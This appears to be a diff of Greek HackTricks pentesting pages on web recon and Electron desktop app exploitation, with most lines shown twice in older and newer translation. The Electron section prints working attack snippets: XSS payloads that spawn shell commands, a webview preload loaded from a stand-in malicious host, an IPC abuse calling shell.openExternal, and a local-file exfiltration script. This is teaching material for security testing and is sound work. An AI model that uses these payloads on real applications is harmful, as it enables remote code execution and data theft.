- **API keys**: Αν βρείτε κάποιο API key υπάρχει οδηγός που δείχνει πώς να χρησιμοποιήσετε API keys από διάφορες πλατφόρμες: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
- Google API keys: Αν βρείτε οποιοδήποτε API key που μοιάζει με **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik μπορείτε να χρησιμοποιήσετε το project [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) για να ελέγξετε ποιες apis μπορεί να προσπελάσει το key.
- **S3 Buckets**: Κατά την spidering ελέγξτε αν κάποιο **subdomain** ή κάποιο **link** σχετίζεται με κάποιο **S3 bucket**. Σε αυτήν την περίπτωση, [**ελέγξτε** τα **permissions** του bucket](buckets/index.html).
- **S3 Buckets**: Καθ' όλη τη διάρκεια του spidering δείτε αν οποιοδήποτε **subdomain** ή οποιοδήποτε **link** σχετίζεται με κάποιο **S3 bucket**. Σε αυτή την περίπτωση, [**ελέγξτε** τα **permissions** του bucket](buckets/index.html).
### Special findings
Κατά τη διάρκεια του **spidering** και του **brute-forcing** μπορεί να βρείτε **ενδιαφέροντα** **αντικείμενα** που πρέπει να προσέξετε.
Κατά την εκτέλεση του **spidering** και του **brute-forcing** μπορεί να βρείτε **ενδιαφέροντα** **πράγματα** που πρέπει να προσέξετε.
**Interesting files**
- Ψάξτε για **links** σε άλλα αρχεία μέσα σε **CSS** αρχεία.
- [Αν βρείτε ένα _**.git**_ αρχείο, μπορούν να εξαχθούν πληροφορίες](git.md)
- Αν βρείτε ένα _**.env**_ μπορεί να βρεθούν πληροφορίες όπως api keys, db passwords και άλλες πληροφορίες.
- Αν βρείτε **API endpoints** θα πρέπει να [τα δοκιμάσετε κι αυτά](web-api-pentesting.md). Αυτά δεν είναι αρχεία, αλλά πιθανότατα "θα φαίνονται" σαν αρχεία.
- **JS files**: Στην ενότητα spidering αναφέρθηκαν αρκετά εργαλεία που μπορούν να εξάγουν paths από JS αρχεία. Επίσης, είναι ενδιαφέρον να **παρακολουθείτε κάθε JS αρχείο που βρέθηκε**, καθώς σε κάποιες περιπτώσεις μια αλλαγή μπορεί να υποδηλώνει ότι έχει εισαχθεί μια νέα ευπάθεια στον κώδικα. Μπορείτε να χρησιμοποιήσετε για παράδειγμα [**JSMon**](https://github.com/robre/jsmon)**.**
- Θα πρέπει επίσης να ελέγξετε τα ανακαλυφθέντα JS αρχεία με [**RetireJS**](https://github.com/retirejs/retire.js/) ή [**JSHole**](https://github.com/callforpapers-source/jshole) για να δείτε αν είναι ευάλωτα.
- Ψάξτε για **links** προς άλλα αρχεία μέσα σε **CSS** files.
- [Αν βρείτε ένα _**.git**_ αρχείο κάποιες πληροφορίες μπορούν να εξαχθούν](git.md)
- Αν βρείτε ένα _**.env**_ μπορεί να βρεθούν πληροφορίες όπως api keys, dbs passwords και άλλες ευαίσθητες πληροφορίες.
- Αν βρείτε **API endpoints** θα πρέπει να [τα δοκιμάσετε επίσης](web-api-pentesting.md). Αυτά δεν είναι αρχεία, αλλά πιθανότατα "θα μοιάζουν" με αρχεία.
- **JS files**: Στην ενότητα spidering αναφέρθηκαν διάφορα εργαλεία που μπορούν να εξάγουν paths από JS files. Επίσης, είναι ενδιαφέρον να **παρακολουθείτε κάθε JS file που βρέθηκε**, καθώς σε κάποιες περιπτώσεις μια αλλαγή μπορεί να υποδεικνύει ότι εισήχθη μια πιθανή ευπάθεια στον κώδικα. Μπορείτε για παράδειγμα να χρησιμοποιήσετε το [**JSMon**](https://github.com/robre/jsmon)**.**
- Πρέπει επίσης να ελέγξετε τα ανακαλυφθέντα JS files με [**RetireJS**](https://github.com/retirejs/retire.js/) ή [**JSHole**](https://github.com/callforpapers-source/jshole) για να δείτε αν είναι ευάλωτα.
- **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
- **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
- **JsFuck deobfuscation** (javascript with chars:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/))
- **TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
- Σε αρκετές περιπτώσεις θα χρειαστεί να **κατανοήσετε τις regular expressions** που χρησιμοποιούνται. Αυτό θα σας φανεί χρήσιμο: [https://regex101.com/](https://regex101.com) ή [https://pythonium.net/regex](https://pythonium.net/regex)
- Μπορείτε επίσης να **παρακολουθείτε τα αρχεία όπου ανιχνεύτηκαν φόρμες**, καθώς μια αλλαγή σε παράμετρο ή η εμφάνιση μιας νέας φόρμας μπορεί να υποδηλώνει μια νέα πιθανή ευάλωτη λειτουργικότητα.
- Σε πολλές περιπτώσεις, θα χρειαστεί να **κατανοήσετε τις regular expressions** που χρησιμοποιούνται. Αυτό θα βοηθήσει: [https://regex101.com/](https://regex101.com) ή [https://pythonium.net/regex](https://pythonium.net/regex)
- Μπορείτε επίσης να **παρακολουθείτε τα αρχεία όπου εντοπίζονται forms**, καθώς μια αλλαγή σε ένα parameter ή η εμφάνιση ενός νέου form μπορεί να υποδεικνύει νέα πιθανή ευπάθεια.
**403 Forbidden/Basic Authentication/401 Unauthorized (bypass)**
@ -314,21 +314,21 @@ _Σημειώστε ότι κάθε φορά που ανακαλύπτεται
**502 Proxy Error**
Αν οποιαδήποτε σελίδα **απαντά** με αυτόν τον **κωδικό**, πιθανώς είναι **κακώς ρυθμισμένος proxy**. **Αν στείλετε ένα HTTP request όπως: `GET https://google.com HTTP/1.1`** (με το Host header και άλλα κοινά headers), ο **proxy** θα προσπαθήσει να **προσπελάσει** το _**google.com**_ **και θα έχετε βρει ένα** SSRF.
Αν κάποια σελίδα **απαντά** με αυτόν τον **κωδικό**, πιθανότατα είναι **κακώς διαμορφωμένος proxy**. **Αν στείλετε ένα HTTP request όπως: `GET https://google.com HTTP/1.1`** (με το host header και άλλα κοινά headers), ο **proxy** θα προσπαθήσει να **προσπελάσει** το _**google.com**_ **και θα έχετε βρει ένα** SSRF.
**NTLM Authentication - Info disclosure**
Αν ο server που ζητάει authentication είναι **Windows** ή βρείτε μια login σελίδα που ζητάει τα **credentials** σας (και ζητάει **domain** **name**), μπορείτε να προκαλέσετε **information disclosure**.\
**Στείλτε** το **header**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` και λόγω του τρόπου που δουλεύει η **NTLM authentication**, ο server θα απαντήσει με εσωτερικές πληροφορίες (έκδοση IIS, έκδοση Windows...) μέσα στο header "WWW-Authenticate".\
Μπορείτε να **αυτοματοποιήσετε** αυτό χρησιμοποιώντας το nmap plugin "_http-ntlm-info.nse_".
Αν ο server που ζητάει authentication είναι **Windows** ή βρείτε μια σελίδα login που ζητάει τα **credentials** σας (και ζητάει **domain name**), μπορείτε να προκαλέσετε **information disclosure**.\
**Στείλτε** το **header**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` και λόγω του τρόπου που λειτουργεί η **NTLM authentication**, ο server θα απαντήσει με εσωτερικές πληροφορίες (IIS version, Windows version...) μέσα στο header "WWW-Authenticate".\
Μπορείτε να **αυτοματοποιήσετε** αυτό χρησιμοποιώντας το **nmap plugin** "_http-ntlm-info.nse_".
**HTTP Redirect (CTF)**
Είναι πιθανό να **τοποθετήσετε περιεχόμενο** μέσα σε μια **Redirection**. Αυτό το περιεχόμενο **δεν θα εμφανιστεί στον χρήστη** (καθώς ο browser θα εκτελέσει την ανακατεύθυνση) αλλά κάτι μπορεί να είναι **κρυμμένο** εκεί μέσα.
Είναι δυνατόν να **τοποθετήσετε περιεχόμενο** μέσα σε μια **Redirection**. Αυτό το περιεχόμενο **δεν θα εμφανιστεί στον χρήστη** (καθώς ο browser θα εκτελέσει την ανακατεύθυνση) αλλά κάτι μπορεί να είναι **κρυμμένο** εκεί μέσα.
### Web Vulnerabilities Checking
Τώρα που έχει γίνει μια ολοκληρωμένη απογραφή της web εφαρμογής, είναι ώρα να ελέγξετε για πολλές πιθανές ευπάθειες. Μπορείτε να βρείτε το checklist εδώ:
Τώρα που έχει πραγματοποιηθεί μια πλήρης καταγραφή της web εφαρμογής, είναι ώρα να ελεγχθούν πολλές πιθανές ευπάθειες. Μπορείτε να βρείτε το checklist εδώ:
{{#ref}}

View File

@ -1,17 +1,17 @@
# Εφαρμογές Electron για Desktop
# Electron Desktop Apps
{{#include ../../../banners/hacktricks-training.md}}
## Εισαγωγή
Electron συνδυάζει ένα τοπικό backend (με **NodeJS**) και ένα frontend (**Chromium**), αν και του λείπουν κάποιοι μηχανισμοί ασφάλειας των σύγχρονων browsers.
Το Electron συνδυάζει ένα τοπικό backend (με **NodeJS**) και ένα frontend (**Chromium**), αν και του λείπουν κάποιοι μηχανισμοί ασφαλείας των σύγχρονων περιηγητών.
Συνήθως μπορείς να βρεις τον κώδικα της εφαρμογής Electron μέσα σε ένα αρχείο `.asar`. Για να αποκτήσεις τον κώδικα πρέπει να τον εξαγάγεις:
Συνήθως μπορεί να βρείτε τον κώδικα της εφαρμογής electron μέσα σε ένα αρχείο `.asar`. Για να αποκτήσετε τον κώδικα, πρέπει να το εξάγετε:
```bash
npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file
```
Στον πηγαίο κώδικα μιας Electron app, μέσα στο `packet.json`, μπορείτε να βρείτε το `main.js` που έχει οριστεί και στο οποίο ορίζονται οι ρυθμίσεις ασφάλειας.
Στον πηγαίο κώδικα μιας εφαρμογής Electron, μέσα στο `packet.json`, μπορείτε να βρείτε δηλωμένο το αρχείο `main.js` όπου έχουν οριστεί οι ρυθμίσεις ασφάλειας.
```json
{
"name": "standard-notes",
@ -20,7 +20,7 @@ npx asar extract-file app.asar main.js #Extract just a file
Το Electron έχει 2 τύπους διεργασιών:
- Main Process (έχει πλήρη πρόσβαση στο NodeJS)
- Renderer Process (θα πρέπει να έχει περιορισμένη πρόσβαση στο NodeJS για λόγους ασφαλείας)
- Renderer Process (θα πρέπει να έχει περιορισμένη πρόσβαση στο NodeJS για λόγους ασφάλειας)
![](<../../../images/image (182).png>)
@ -32,18 +32,18 @@ let win = new BrowserWindow()
//Open Renderer Process
win.loadURL(`file://path/to/index.html`)
```
Οι ρυθμίσεις της **renderer process** μπορούν να **διαμορφωθούν** στην **main process** μέσα στο αρχείο main.js. Ορισμένες από αυτές τις ρυθμίσεις θα **αποτρέψουν το Electron application από το να αποκτήσει RCE** ή άλλες ευπάθειες εάν οι **ρυθμίσεις είναι σωστά διαμορφωμένες**.
Οι ρυθμίσεις της **διαδικασίας renderer** μπορούν να **διαμορφωθούν** στη **διαδικασία main** μέσα στο αρχείο main.js. Μερικές από τις ρυθμίσεις θα **εμποδίσουν την εφαρμογή Electron να αποκτήσει RCE** ή άλλες ευπάθειες εάν οι **ρυθμίσεις είναι σωστά διαμορφωμένες**.
Η εφαρμογή Electron μπορεί να αποκτήσει πρόσβαση στη συσκευή μέσω Node apis, αν και μπορεί να ρυθμιστεί ώστε να το αποτρέψει:
Η εφαρμογή Electron **θα μπορούσε να έχει πρόσβαση στη συσκευή** μέσω Node apis αν και μπορεί να διαμορφωθεί ώστε να το αποτρέψει:
- **`nodeIntegration`** - είναι `off` από προεπιλογή. Αν είναι `on`, επιτρέπει την πρόσβαση σε Node features από τη renderer process.
- **`contextIsolation`** - είναι `on` από προεπιλογή. Αν είναι `off`, οι main και renderer processes δεν είναι απομονωμένες.
- **`preload`** - είναι κενό από προεπιλογή.
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - είναι `off` από προεπιλογή. Θα περιορίσει τις ενέργειες που μπορεί να εκτελέσει το NodeJS.
- **`nodeIntegration`** - είναι `off` από προεπιλογή. Αν είναι on, επιτρέπει την πρόσβαση σε λειτουργίες του Node από τη διαδικασία renderer.
- **`contextIsolation`** - είναι `on` από προεπιλογή. Αν είναι off, οι διεργασίες main και renderer δεν είναι απομονωμένες.
- **`preload`** - κενό από προεπιλογή.
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - είναι off από προεπιλογή. Θα περιορίσει τις ενέργειες που μπορεί να εκτελέσει το NodeJS.
- Node Integration σε Workers
- **`nodeIntegrationInSubframes`**- είναι `off` από προεπιλογή.
- Αν το **`nodeIntegration`** είναι **enabled**, αυτό θα επέτρεπε τη χρήση των **Node.js APIs** σε web pages που είναι **φορτωμένες σε iframes** μέσα σε μια Electron application.
- Αν το **`nodeIntegration`** είναι **disabled**, τότε τα preloads θα φορτωθούν στο iframe
- Εάν **`nodeIntegration`** είναι **enabled**, αυτό θα επέτρεπε τη χρήση των **Node.js APIs** σε σελίδες web που είναι **φορτωμένες σε iframes** μέσα σε μια εφαρμογή Electron.
- Εάν **`nodeIntegration`** είναι **disabled**, τότε τα preloads θα φορτωθούν στο iframe
Παράδειγμα διαμόρφωσης:
```javascript
@ -95,7 +95,7 @@ onerror="alert(require('child_process').execSync('ls -l').toString());" />
src="x"
onerror="alert(require('child_process').execSync('uname -a').toString());" />
```
### Καταγραφή traffic
### Καταγραφή κυκλοφορίας
Τροποποιήστε τη διαμόρφωση start-main και προσθέστε τη χρήση ενός proxy όπως:
```javascript
@ -103,7 +103,8 @@ onerror="alert(require('child_process').execSync('uname -a').toString());" />
```
## Electron Local Code Injection
Αν μπορείτε να εκτελέσετε τοπικά μια Electron App, είναι πιθανό να καταφέρετε να την κάνετε να εκτελέσει αυθαίρετο javascript κώδικα. Δείτε πώς στο:
Εάν μπορείτε να εκτελέσετε τοπικά ένα Electron App, είναι πιθανό να το αναγκάσετε να εκτελέσει αυθαίρετο javascript κώδικα. Δείτε πώς στο:
{{#ref}}
../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md
@ -111,7 +112,7 @@ onerror="alert(require('child_process').execSync('uname -a').toString());" />
## RCE: XSS + nodeIntegration
Αν το **nodeIntegration** είναι ρυθμισμένο σε **on**, το JavaScript μιας σελίδας web μπορεί να χρησιμοποιήσει λειτουργίες του Node.js εύκολα απλώς καλώντας τη `require()`. Για παράδειγμα, ο τρόπος εκτέλεσης της εφαρμογής calc στα Windows είναι:
Εάν το **nodeIntegration** είναι ρυθμισμένο σε **on**, το JavaScript μιας ιστοσελίδας μπορεί εύκολα να χρησιμοποιήσει δυνατότητες του Node.js απλώς καλώντας το `require()`. Για παράδειγμα, ο τρόπος για να εκτελέσετε την εφαρμογή calc στα Windows είναι:
```html
<script>
require("child_process").exec("calc")
@ -123,7 +124,7 @@ top.require("child_process").exec("open /System/Applications/Calculator.app")
## RCE: preload
Το script που υποδεικνύεται σε αυτή τη ρύθμιση είναι l**φορτωμένο πριν από άλλα scripts στον renderer**, έτσι έχει **απεριόριστη πρόσβαση σε Node APIs**:
Το script που υποδεικνύεται σε αυτή τη ρύθμιση είναι **φορτωμένο πριν από άλλα scripts στον renderer**, οπότε έχει **απεριόριστη πρόσβαση στα Node APIs**:
```javascript
new BrowserWindow{
webPreferences: {
@ -132,7 +133,7 @@ preload: _path2.default.join(__dirname, 'perload.js'),
}
});
```
Επομένως, το script μπορεί να εξάγει node-features σε σελίδες:
Συνεπώς, το script μπορεί να εξάγει τα node-features σε pages:
```javascript:preload.js
typeof require === "function"
window.runCalc = function () {
@ -148,20 +149,20 @@ runCalc()
</script>
</body>
```
> [!NOTE] > **Αν το `contextIsolation` είναι ενεργοποιημένο, αυτό δεν θα δουλέψει**
> [!NOTE] > **Αν το `contextIsolation` είναι ενεργοποιημένο, αυτό δεν θα λειτουργήσει**
## RCE: XSS + contextIsolation
Το _**contextIsolation**_ εισάγει τους **διαχωρισμένους contexts μεταξύ των scripts της web σελίδας και του internal JavaScript κώδικα του Electron** ώστε η εκτέλεση JavaScript του κάθε κομματιού κώδικα να μην επηρεάζει το άλλο. Πρόκειται για μια απαραίτητη λειτουργία για να εξαλειφθεί η πιθανότητα RCE.
Το _**contextIsolation**_ εισάγει τους **διαχωρισμένους χώρους εκτέλεσης μεταξύ των scripts της σελίδας και του εσωτερικού JavaScript κώδικα του Electron**, ώστε η εκτέλεση JavaScript του κάθε κομματιού κώδικα να μην επηρεάζει το άλλο. Αυτό είναι ένα απαραίτητο χαρακτηριστικό για να εξαλειφθεί η πιθανότητα RCE.
Αν τα contexts δεν είναι απομονωμένα, ένας επιτιθέμενος μπορεί:
Αν οι χώροι δεν είναι απομονωμένοι, ένας επιτιθέμενος μπορεί:
1. Εκτελέσει **arbitrary JavaScript in renderer** (XSS ή πλοήγηση σε εξωτερικές σελίδες)
2. **Αντικαταστήσει την built-in μέθοδο** που χρησιμοποιείται στο preload ή στον internal κώδικα του Electron για να αποκτήσει έλεγχο της συνάρτησης
3. **Προκαλέσει** τη χρήση της **αντικαταστημένης συνάρτησης**
1. Να εκτελέσει **arbitrary JavaScript in renderer** (XSS ή πλοήγηση σε εξωτερικούς ιστότοπους)
2. Να **overwrite the built-in method** που χρησιμοποιείται στο preload ή στον εσωτερικό κώδικα του Electron για να πάρει τον έλεγχο μιας λειτουργίας
3. Να **trigger** τη χρήση της **overwritten function**
4. RCE?
There are 2 places where built-int methods can be overwritten: In preload code or in Electron internal code:
Υπάρχουν 2 σημεία όπου built-in μέθοδοι μπορούν να υπεργραφούν: στο preload code ή στον εσωτερικό κώδικα του Electron:
{{#ref}}
@ -178,36 +179,36 @@ electron-contextisolation-rce-via-electron-internal-code.md
electron-contextisolation-rce-via-ipc.md
{{#endref}}
### Παράκαμψη click event
### Bypass click event
Αν υπάρχουν περιορισμοί όταν κάνετε click σε ένα link, ίσως να μπορείτε να τους παρακάμψετε **κάνoντας middle click** αντί για το κανονικό left click
Αν εφαρμόζονται περιορισμοί όταν κάνεις κλικ σε ένα σύνδεσμο, ίσως μπορέσεις να τους παρακάμψεις **κάνoντας a middle click** αντί για το συνηθισμένο left click
```javascript
window.addEventListener('click', (e) => {
```
## RCE via shell.openExternal
Για περισσότερες πληροφορίες σχετικά με αυτά τα παραδείγματα δείτε [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) και [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
Για περισσότερες πληροφορίες σχετικά με αυτά τα παραδείγματα, δείτε [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) και [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
Κατά την ανάπτυξη μιας Electron desktop εφαρμογής, η διασφάλιση των σωστών ρυθμίσεων για `nodeIntegration` και `contextIsolation` είναι κρίσιμη. Έχει αποδειχθεί ότι **client-side remote code execution (RCE)** που στοχεύει preload scripts ή Electron's native code από τη main process αποτρέπεται αποτελεσματικά με αυτές τις ρυθμίσεις.
Κατά την ανάπτυξη μιας Electron desktop εφαρμογής, η σωστή ρύθμιση των `nodeIntegration` και `contextIsolation` είναι κρίσιμη. Έχει διαπιστωθεί ότι η **client-side remote code execution (RCE)** που στοχεύει preload scripts ή το native code του Electron από τη main process αποτρέπεται ουσιαστικά με αυτές τις ρυθμίσεις.
Όταν ένας χρήστης αλληλεπιδρά με links ή ανοίγει νέα παράθυρα, ενεργοποιούνται συγκεκριμένα event listeners, τα οποία είναι κρίσιμα για την ασφάλεια και τη λειτουργικότητα της εφαρμογής:
Όταν ένας χρήστης αλληλεπιδρά με συνδέσμους ή ανοίγει νέα παράθυρα, ενεργοποιούνται συγκεκριμένοι event listeners, οι οποίοι είναι κρίσιμοι για την ασφάλεια και τη λειτουργικότητα της εφαρμογής:
```javascript
webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}
```
Αυτοί οι listeners είναι **υπερκαθορισμένοι από την επιτραπέζια εφαρμογή** για να υλοποιήσουν τη δική της **business logic**. Η εφαρμογή αξιολογεί εάν ένας πλοηγημένος σύνδεσμος πρέπει να ανοίξει εσωτερικά ή σε εξωτερικό web browser. Αυτή η απόφαση συνήθως λαμβάνεται μέσω μιας συνάρτησης, `openInternally`. Αν αυτή η συνάρτηση επιστρέψει `false`, σημαίνει ότι ο σύνδεσμος πρέπει να ανοίξει εξωτερικά, χρησιμοποιώντας τη συνάρτηση `shell.openExternal`.
Αυτοί οι listeners **υπερκαθορίζονται από την επιτραπέζια εφαρμογή** για να υλοποιήσει τη δική της **επιχειρηματική λογική**. Η εφαρμογή αξιολογεί εάν ένας πλοηγημένος σύνδεσμος πρέπει να ανοιχτεί εσωτερικά ή σε εξωτερικό πρόγραμμα περιήγησης. Αυτή η απόφαση συνήθως λαμβάνεται μέσω μιας συνάρτησης, `openInternally`. Εάν αυτή η συνάρτηση επιστρέψει `false`, σημαίνει ότι ο σύνδεσμος πρέπει να ανοιχτεί εξωτερικά, χρησιμοποιώντας τη συνάρτηση `shell.openExternal`.
**Εδώ είναι ένας απλοποιημένος ψευδοκώδικας:**
**Εδώ είναι ένα απλοποιημένο pseudocode:**
![https://miro.medium.com/max/1400/1*iqX26DMEr9RF7nMC1ANMAA.png](<../../../images/image (261).png>)
![https://miro.medium.com/max/1400/1*ZfgVwT3X1V_UfjcKaAccag.png](<../../../images/image (963).png>)
Οι βέλτιστες πρακτικές ασφαλείας για το Electron JS συστήνουν να μην γίνεται αποδοχή μη αξιόπιστου περιεχομένου με τη συνάρτηση `openExternal`, καθώς αυτό μπορεί να οδηγήσει σε RCE μέσω διάφορων πρωτοκόλλων. Τα λειτουργικά συστήματα υποστηρίζουν διαφορετικά πρωτόκολλα που μπορεί να ενεργοποιήσουν RCE. Για αναλυτικά παραδείγματα και περαιτέρω εξήγηση πάνω σε αυτό το θέμα, μπορείτε να ανατρέξετε σε [αυτόν τον πόρο](https://positive.security/blog/url-open-rce#windows-10-19042), ο οποίος περιλαμβάνει παραδείγματα Windows protocol ικανά να εκμεταλλευτούν αυτή την ευπάθεια.
Οι βέλτιστες πρακτικές ασφάλειας του Electron JS συμβουλεύουν να μην γίνεται αποδοχή μη αξιόπιστου περιεχομένου μέσω της `openExternal` συνάρτησης, καθώς αυτό μπορεί να οδηγήσει σε RCE μέσω διάφορων πρωτοκόλλων. Τα λειτουργικά συστήματα υποστηρίζουν διαφορετικά πρωτόκολλα που μπορεί να προκαλέσουν RCE. Για λεπτομερή παραδείγματα και περαιτέρω επεξήγηση πάνω στο θέμα, μπορείτε να αναφερθείτε σε [this resource](https://positive.security/blog/url-open-rce#windows-10-19042), το οποίο περιλαμβάνει Windows πρωτόκολλα παραδειγμάτων ικανά να εκμεταλλευτούν αυτή την ευπάθεια.
Στο macos, η συνάρτηση `openExternal` μπορεί να εκμεταλλευτεί για την εκτέλεση αυθαίρετων εντολών, π.χ. `shell.openExternal('file:///System/Applications/Calculator.app')`.
Σε macos, η `openExternal` συνάρτηση μπορεί να εκμεταλλευτεί για να εκτελέσει αυθαίρετες εντολές, όπως στο `shell.openExternal('file:///System/Applications/Calculator.app')`.
**Παραδείγματα Windows protocol exploits περιλαμβάνουν:**
**Παραδείγματα εκμεταλλεύσεων Windows πρωτοκόλλων περιλαμβάνουν:**
```html
<script>
window.open(
@ -229,15 +230,15 @@ window.open(
```
## RCE: webviewTag + vulnerable preload IPC + shell.openExternal
Αυτή η vuln μπορεί να βρεθεί στο **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**.
Αυτό το vuln μπορεί να βρεθεί στο **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**.
Το **webviewTag** είναι μια **deprecated feature** που επιτρέπει τη χρήση του **NodeJS** στη **renderer process**, η οποία πρέπει να απενεργοποιηθεί καθώς επιτρέπει τη φόρτωση ενός script μέσα στο preload context όπως:
Το **webviewTag** είναι ένα **απαρχαιωμένο χαρακτηριστικό** που επιτρέπει τη χρήση του **NodeJS** στη **renderer process**, το οποίο πρέπει να απενεργοποιηθεί καθώς επιτρέπει τη φόρτωση ενός script μέσα στο preload context όπως:
```xml
<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>
```
Επομένως, ένας επιτιθέμενος που καταφέρνει να φορτώσει μια αυθαίρετη σελίδα θα μπορούσε να χρησιμοποιήσει αυτό το tag για να **load an arbitrary preload script**.
Αυτό το preload script αξιοποιήθηκε στη συνέχεια για να καλέσει μια **vulnerable IPC service (`skype-new-window`)**, η οποία με τη σειρά της καλούσε **`shell.openExternal`** για να επιτύχει RCE:
Αυτό το preload script στη συνέχεια εκμεταλλεύτηκε για να καλέσει μια **vulnerable IPC service (`skype-new-window`)** η οποία καλούσε **`shell.openExternal`** για να αποκτήσει RCE:
```javascript
(async() => {
const { ipcRenderer } = require("electron");
@ -250,11 +251,11 @@ await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Do
```
## Ανάγνωση Εσωτερικών Αρχείων: XSS + contextIsolation
**Απενεργοποίηση του `contextIsolation` επιτρέπει τη χρήση των `<webview>` tags**, παρόμοια με `<iframe>`, για ανάγνωση και exfiltrating τοπικών αρχείων. Ένα παράδειγμα δείχνει πώς να εκμεταλλευτείτε αυτή την ευπάθεια για να διαβάσετε το περιεχόμενο εσωτερικών αρχείων:
**Η απενεργοποίηση του `contextIsolation` επιτρέπει τη χρήση των tags `<webview>`**, παρόμοια με `<iframe>`, για την ανάγνωση και exfiltrating τοπικών αρχείων. Ένα παράδειγμα δείχνει πώς να εκμεταλλευτείς αυτήν την ευπάθεια για να διαβάσεις τα περιεχόμενα εσωτερικών αρχείων:
![](<../../../images/1 u1jdRYuWAEVwJmf_F2ttJg (1).png>)
Επιπλέον, μοιράζεται μια άλλη μέθοδος για **ανάγνωση ενός εσωτερικού αρχείου**, επισημαίνοντας μια κρίσιμη ευπάθεια ανάγνωσης τοπικού αρχείου σε μια Electron desktop εφαρμογή. Αυτό περιλαμβάνει την εισαγωγή ενός script για να εκμεταλλευτεί την εφαρμογή και exfiltrate δεδομένα:
Επιπλέον, παρουσιάζεται άλλη μέθοδος για **ανάγνωση εσωτερικού αρχείου**, αναδεικνύοντας μια κρίσιμη ευπάθεια ανάγνωσης τοπικού αρχείου σε μια Electron desktop app. Αυτό περιλαμβάνει την έγχυση ενός script για να εκμεταλλευτεί την εφαρμογή και exfiltrate δεδομένα:
```html
<br /><br /><br /><br />
<h1>
@ -270,23 +271,23 @@ frames[0].document.body.innerText
</script>
</h1>
```
## **RCE: XSS + Old Chromium**
## **RCE: XSS + παλιό chromium**
Εάν το **chromium** που χρησιμοποιείται από την εφαρμογή είναι **παλαιό** και υπάρχουν **γνωστές** **ευπάθειες** σε αυτό, μπορεί να είναι δυνατό να **εκμεταλλευτείτε** αυτές και να αποκτήσετε RCE μέσω XSS.\
Εάν το **chromium** που χρησιμοποιείται από την εφαρμογή είναι **παλιό** και υπάρχουν **γνωστές** **ευπάθειες**, μπορεί να είναι δυνατό να το **εκμεταλλευτείτε και να αποκτήσετε RCE μέσω XSS**.\
Μπορείτε να δείτε ένα παράδειγμα σε αυτό το **writeup**: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
## **XSS Phishing via Internal URL regex bypass**
## **XSS Phishing μέσω bypass του εσωτερικού URL regex**
Σε περίπτωση που βρήκατε XSS αλλά **δεν μπορείτε να ενεργοποιήσετε RCE ή να κλέψετε internal files** μπορείτε να προσπαθήσετε να το χρησιμοποιήσετε για να **steal credentials μέσω phishing**.
Υποθέτοντας ότι βρήκατε ένα XSS αλλά **δεν μπορείτε να ενεργοποιήσετε RCE ή να κλέψετε εσωτερικά αρχεία**, μπορείτε να προσπαθήσετε να το χρησιμοποιήσετε για να **αποσπάσετε διαπιστευτήρια μέσω phishing**.
Πρώτα απ' όλα πρέπει να ξέρετε τι συμβαίνει όταν προσπαθείτε να ανοίξετε ένα νέο URL, ελέγχοντας τον JS κώδικα στο front-end:
Καταρχάς πρέπει να γνωρίζετε τι συμβαίνει όταν προσπαθείτε να ανοίξετε ένα νέο URL, ελέγχοντας τον JS κώδικα στο front-end:
```javascript
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
```
Η κλήση στην **`openInternally`** θα αποφασίσει αν ο **link** θα **opened** στο **desktop window**, καθώς είναι ένα link που ανήκει στην πλατφόρμα, **or** αν θα ανοίξει στον **browser as a 3rd party resource**.
Η κλήση στο **`openInternally`** θα αποφασίσει αν το **link** θα **ανοίξει** στο **παράθυρο επιφάνειας εργασίας** καθώς είναι ένα link που ανήκει στην πλατφόρμα, **ή** αν θα ανοίξει στο **πρόγραμμα περιήγησης ως πόρος τρίτου μέρους**.
